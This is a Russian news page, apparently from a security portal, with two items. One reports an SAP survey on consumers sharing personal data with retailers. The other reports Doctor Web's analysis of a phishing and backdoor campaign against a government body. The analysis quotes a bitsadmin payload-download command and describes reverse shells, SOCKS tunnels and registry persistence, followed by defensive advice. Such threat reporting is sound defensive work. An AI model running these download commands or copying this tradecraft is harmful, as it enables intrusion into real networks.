89% россиян готовы делиться персональной информацией с ритейлерами

89% россиян готовы делиться персональной информацией с ритейлерами

89% россиян готовы делиться персональной информацией с ритейлерами

SAP представил результаты исследования предпочтений потребителей в условиях изменяющейся экономики России. Опрос был проведен среди 20 000 человек из 20 стран, в число которых вошла и Россия. Так, 89% россиян готовы делиться персональной информацией с компаниями в обмен на качественное обслуживание, однако 87% не простят, если персональные данные будут переданы кому-то еще без их согласия.

По результатам исследования россияне охотнее, чем респонденты в других странах предоставляют ритейлерам обратную связь взамен на улучшение качества сервиса. Так, 64% могут поделиться своей историей покупок, 62% — дадут адрес электронной почты, 42% и 41% — раскроют информацию о геолокации и месячном доходе соответственно. Оставят на сайте магазина номер мобильного телефона — всего 36% опрошенных, однако этот показатель на 4% превышает среднемировой. Данные паспорта и водительского удостоверения готовы раскрыть только 7%.

Российские покупатели рассчитывают на максимально быструю реакцию в ответ на свои обращения к компании. 82% опрошенных готовы ждать сутки. Для сравнения, в остальных странах таких людей — 89%.

В обмен на личную информацию покупатели ожидают от ритейлеров и брендов определенных преимуществ и персонализированного подхода. Так, 70% опрошенных россиян отметили важность для них подарков и сюрпризов (скидки, бонусы, бесплатные образцы). И это самый высокий показатель из всех стран. Например, в Японии он равен лишь 54%. 59% россиян хотят получать полезные рекомендации о товаре, 39% —  своевременный дополнительный сервис.

Больше половины опрошенных потребителей ожидают, что продавец при ответе на запрос клиента будет опираться на знание о полной истории взаимодействия с ним. Среди других важных факторов коммуникации между брендом и потребителем 24% отметили желание получать согласованные предложения в различных каналах. При несоответствии акций в рассылке и в магазине 39% клиентов готовы отказаться от повторного взаимодействия с компанией.

«Наше исследование наглядно продемонстрировало, что в современной цифровой экономике успех бизнеса определяет покупатель. Именно клиент диктует новые правила игры и требует максимальной персонализации во взаимодействии, сам выбирает канал общения с брендом. Чем лучше компания будет знать профиль и контекст своего потребителя, прогнозировать его поведение, тем выше будет его лояльность и доверие к бренду. Повысить уровень персонализации позволяют цифровые технологии с применением искусственного интеллекта и машинного обучения. А использование омниканальной платформы поможет выстроить последовательный путь клиентов к покупке, предотвратить их отток, а также обеспечить высокое качество сервиса. Согласно данным опроса, 70% россиян готовы отказаться от повторного взаимодействия с компанией по причине неотзывчивой клиентской поддержки», — отметил Андрей Шарак, заместитель генерального директора SAP CIS.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru